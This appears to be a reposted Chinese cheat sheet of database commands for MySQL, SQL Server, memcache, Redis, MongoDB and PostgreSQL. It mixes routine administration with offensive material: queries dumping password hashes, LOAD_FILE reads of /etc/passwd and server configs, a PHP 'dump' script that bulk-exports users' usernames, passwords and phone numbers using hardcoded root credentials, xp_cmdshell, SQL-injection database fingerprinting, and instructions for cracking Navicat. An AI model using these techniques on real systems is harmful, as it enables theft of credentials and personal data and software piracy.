数据库命令整理

Mysql

select version() from dual; SELECT @@version`、`SELECT version(); #查看Mysql版本
SELECT @@version_compile_machine;
#查看架构
show variables like '%compile%'; #查看版本、查看架构
select system_user() #查看系统用户
select current_user() #查询当前用户
select user();  #查询用户 
SELECT version() #查询数据库版本 
SELECT database() #查询当前连接的数据库 
select @@version_compile_os #查询当前操作系统 
select now(); #显示当前时间 
select @@basedir; #查找到mysql的目录 
SHOW VARIABLES LIKE '%plugin%' #查看插件位置 
select user,password from mysql.user;  #查询Mysql用户/密码
select user,password from mysql.user where user ='root'; 
select @@secure_file_priv #查看
secure_file_priv(当参数 secure_file_priv 为空时,对导入导出无限制当值为一个指定的目录时,只能向指定的目录导入导出当值被设置为NULL时,禁止导入导出功能--可通过配置文件修改.然后重启mysql
 select @@basedir; 数据库路径
 select @@datadir; 数据路径
 sc delete mysql 服务删除
 net stop/start mysql
 mysqld--initialize 初始化-需要清空data目录文件
 mysqld --install MySQL --defaults-file=“你配置文件的位置” #服务安装
 "mysql> ALTER USER 'root'@'localhost' IDENTIFIED BY 'root123'; #修改密码
 flush privileges;" #更新配置
 "CREATE TABLE 新表 AS SELECT * FROM 旧表 " #表复制
 drop database `"db_name"` #删除名称带有引号的数据库
 创建表 create table yuangong(Username varchar(20),Password int);
 插入值 insert into liuyan(1);
 添加列 alter table liuyan add column (Sender varchar(20));修改列值 UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值删除列 alter table 表名 drop column 列名;
 删除行 delete  from表名  where 字段名=字段值
 删除空行 delete  from表名  where 字段名 is null
 删除数据库 drop database 数据库名
 查看数据库编码 show variables like '%char%';
 查看当前数据库编码 show create database test;
 改变数据库的编码 alter database app_relation character set utf8; 
 改变表的编码 ALTER TABLE `table` DEFAULT CHARACTER SET utf8;
 改变表字段编码 "ALTER TABLE `tablename` CHANGE `字段名1` `字段名2` VARCHAR(36) CHARACTER SET utf8 NOT NULL;
获取数据库用户名密码
# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;

函数
  like - %COM' 以com结尾 com% 以com开头 %com% 包含com字符
日志相关
  show variables like '%datadir%'; 查看日志文件位置 cat /etc/my.cnf(在my.cnf中也可查看)
  mysql> show binlog events; 查看第一个binlog文件的内容
  mysql> show binlog events in 'mysql-bin.000001'; 查看指定binlog文件的内容
  mysql> show master status\G; 查看当前正在写入的binlog文件
  mysql> show binary logs; 获取binlog文件列表
  mysql> show master status\G; 查看当前正在写入的binlog文件
  工具 - mysqlbinlog,winscp

配置文件读取
  SELECT LOAD_FILE('/etc/passwd' ) 
  SELECT LOAD_FILE('/etc/issues' ) 
  SELECT LOAD_FILE('/etc/etc/rc.local' ) 
  SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' ) 
  SELECT LOAD_FILE('/etc/nginx/nginx.conf' ) 

 Mysql配置远程连接

   修改/etc/mysql/my.conf - 找到bind-address = 127.0.0.1这一行 - 改为bind-address = 0.0.0.0

 为需要远程登录的用户赋权

   grant all on *.* to admin@'%' identified by '123456' with grant option; flush privileges; #%表示允许任何ip用admin帐户和密码(123456)访问(admin账户不一定存在)

 为root赋权允许远程连接
   grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;
   flush privileges; 

 无法远程连接:

   网络问题(127.0.0.1能够访问)
   防火墙问题(防火墙已关闭)
    检查日志(无错误日志)
    配置问题(检查/etc/my.cnf)  - 没有启用[client],在/etc/my.cnf配置文件中添加以下配置,重启数据库
   [client]
     port = 3306
     socket = /data/sdv1/mydata/mariadb.sock 
 

 

Mysql字符串处理

mid(MS SQL Server和Oracle不支持) 字符串截取 mid(database(),1,100); --1-100字符
concat 字符串连接

 

Mysql特例函数

ord、
/*!1*/=/*!2*/ 内联注释:相当于1=2
exists 判断返回值是否为空(为空则报错,否则返回1):select exists(select user());
updatexml

 

 

插件路径获取
5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/
5.1以上版本 通过以下查询来获取插件路径:
SHOW VARIABLES WHERE Variable_Name LIKE ""%dir"";
show variables like '%plugin%' ;
select load_file('C:/phpStudy/Apache/conf/httpd.conf')
select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
select load_file('d:/phpStudy/Apache/conf/vhosts.conf')

 

Win7 Mysql忘记登录密码 

    关闭mysql服务 net stop mysql 
   打开DOS窗口,转到mysql bin目录。
   输入mysqld --skip-grant-tables回车 - 此时无提示信息。
   再开一个DOS窗口,转到mysqlbin目录
   输入mysql回车,如果成功,将出现MySQL提示符 >
   连接权限数据库>use mysql; (>是本来就有的提示符,别忘了最后的分号)
   改密码:mysql> update user set authentication_string=password("root") where user="root";
   刷新权限(必须的步骤)>flush privileges;
   退出 > quit;
   注销系统,再进入,开MySQL,使用用户名root和刚才设置的新密码登陆。

Myslq - 修改所有表/字段编码

存储过程
CREATE PROCEDURE `pr_convert_dbtab_utf8`(IN dbName varchar(100)) 
BEGIN 
    declare stop int default 0;
    declare tabCount int default 0; 
    declare strSql varchar(1000);
    declare name varchar(100);
    declare cur CURSOR FOR select table_name from information_schema.tables where table_schema=dbName;
    declare CONTINUE HANDLER FOR SQLSTATE '02000' SET stop = null; 
    OPEN cur; 
    FETCH cur INTO name;
    WHILE ( stop is not null) DO
        set tabCount=tabCount+1;
        set strSql = concat('alter table `',name,'` convert to character set utf8'); 
        set @sql1 = strSql; 
        prepare stmt_p from @sql1;
        execute stmt_p;
        FETCH cur INTO name;
    END WHILE;
    CLOSE cur;
    SELECT concat('table: ', tabCount);
END;
输入调用存储过程的命令,参数为需要转换的数据库名
mysql> call pr_convert_dbtab_utf8('jiradb');
+-----------------------------+
| concat('table: ', tabCount) |
 
+-----------------------------+
 
| table: 245                  |
 
+-----------------------------+
 
1 row in set
 
Query OK, 0 rows affected
 
mysql>
View Code

Mysql脱裤脚本

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<?php
$conn = @mysql_connect("192.168.241.89", "root", "Vega2010##") or die("X Connect failed");
mysql_select_db("chacha_cloud", $conn);
mysql_query("set names 'UTF-8'"); 

  $sql="select username,password,phone from user limit 12500000,500000";
  $query=mysql_query($sql);
  while($row=mysql_fetch_array($query)){
    $fp = fopen('t4/14.csv', 'a'); 
    fwrite($fp,'"'.@$row[username].'","'.@$row[password].'"'.'","'.@$row[phone].'"'."\n"); 
    fclose($fp); 
  }  
echo 'finished';
  ?>
View Code

 

SqlServer

xp_cmdshell  #执行系统命令/被禁用可通过sql语句解封

memcache

 1 stats  查看缓存服务器状态
 2 stats items  查看items
 3 stats cachedump 32 0  获得缓存key
 4 flush_all  清空所有缓存
 5 version   版本
 6 stats slabs  打印内存信息
 7 set/add  将value(数据值) 存储在指定的 key(键) 中
 8 replace 替换已存在的 key(键) 的 value(数据值)。
 9 append 向已存在 key(键) 的 value(数据值) 后面追加数据 。
10 prepend 向已存在 key(键) 的 value(数据值) 前面追加数据 。
11 get     获取存储在 key(键) 中的 value(数据值) ,如果 key 不存在,则返回空。
12 gets    获取带有 CAS 令牌存 的 value(数据值) ,如果 key 不存在,则返回空。
13 delete 用于删除已存在的 key(键)。
14 incr/decr 对已存在的 key(键) 的数字值进行自增或自减操作。
15 stats 返回统计信息例如 PID(进程号)、版本号、连接数等。
16 stats items 显示各个 slab 中 item 的数目和存储时长(最后一次访问距离现在的秒数)。
17 stats slabs 显示各个slab的信息,包括chunk的大小、数目、使用情况等。
18 stats sizes 显示所有item的大小和个数。
19 flush_all 清理缓存中的所有 key=>value(键=>值) 对。
20 退出telnet连接   quit
View Code

 工具相关

1 Navicat for Mysql
2 破解:
3 运行PatchNavicat.exe ,打开之后找到原本安装Navicat for MySQL的运行程序Navicat.exe程,确定。
View Code

 redis

 1 kali下
 2 安装 
 3 get http://download.redis.io/releases/redis-4.0.11.tar.gz
 4 tar -zxvf redis-4.0.11.tar.gz
 5 cd redis-4.0.11
 6 make - 如出现gcc错误 - 安装gcc - apt-get install gcc  再次编译 make MALLOC=libc
 7 启动 - cd src  -   ./redis-server
 8 关闭  -  ./redis-cli shutdown
 9 远程访问设置
10 cd redis-4.0.11
11 vim redis.conf
12 注释掉该IP地址 - # bind 127.0.0.1
13 运行时不受保护 - protected-mode no
14 修该为守护进程 - daemonize yes
15 启动客户端
16 # ./redis-cli(src目录下)
17 修改运行时不受保护
18 # config set protected-mode no
19 设置登录密码
20 # config set requirepass password
21 密码登录
22 # ./redis-cli
23 # auth password
24 客户端远程连接 -   redis-cli -h IP -p Port(6379)
View Code

 mongodb

安装  - Kali下
wgethttps://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian92-3.6.5.tgz (mongodb.tgz 为Debian 7 Linux 64-bit v3.2
tar -zxvf mongodb.tgz /usr/local/mongodb
mkdir -p /usr/local/mongodb/data mkdir -p /usr/local/mongodb/logs
vi /etc/mongodb.conf
​            dbpath=/usr/local/mongodb/data
​            master=true
​            logpath=/usr/local/mongodb/logs/mongodb.log
​            logappend=true
启动
cd /usr/local/mongodb/bin 
./mongod -f /etc/mongodb.conf &
ps -def | grep mongod

开机启动/etc/rc.local /usr/local/mongodb/bin/mongod -f /etc/mongodb.conf &

环境变量配置 vi
/etc/profile 在最后一行添加下面的代码:export PATH=$PATH:/usr/local/mongodb/bin source /etc/profile 连接 cd /usr/local/mongodb/bin ./mongo
./mongo IP:Port #
匿名登录   

  命令

show dbs #查看默认数据库 db #查看当前数据库

db.addUser('username','password')   #创建用户 

db.auth('username','password')   #验证用户是否存在

db.help() #帮助

show collections #显示所有集合

db.mycoll.drop() #删除集合

db.serverStatus() #查看服务器状态

db.dropDatabase() #删除数据库

exit #退出MongoDB控制台

   

    远程连接工具  -  robomongo

PostgreSQL

连接工具 psql   
postgres-# \l   #枚举数据库
postgres-# \du 枚举用户
template1=# \dt 

 数据库类型判断

len和length    当使用and len('a')=1的时候,返回正常页面时,可以推断当前的数据库类型可能是mssql,或mysql,或是db2。反之则可能会是oracle和informix。

@@version和version()    "在mysql内,可以用@@version或是version()来返回当前的版本信息。但无法判断是mysql还是mssql时,可以用version()函数来构造判断。
version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。
substring和substr "在mssql中可以调用substring。oracle则只可调用substr SUBSTRING('abc',1,1)=a 返回成功,刚可能是mssql。使用substr('abc',1,1)=a 返回成功,则可能为oracle

 

转载于:https://www.cnblogs.com/AtesetEnginner/p/11218463.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值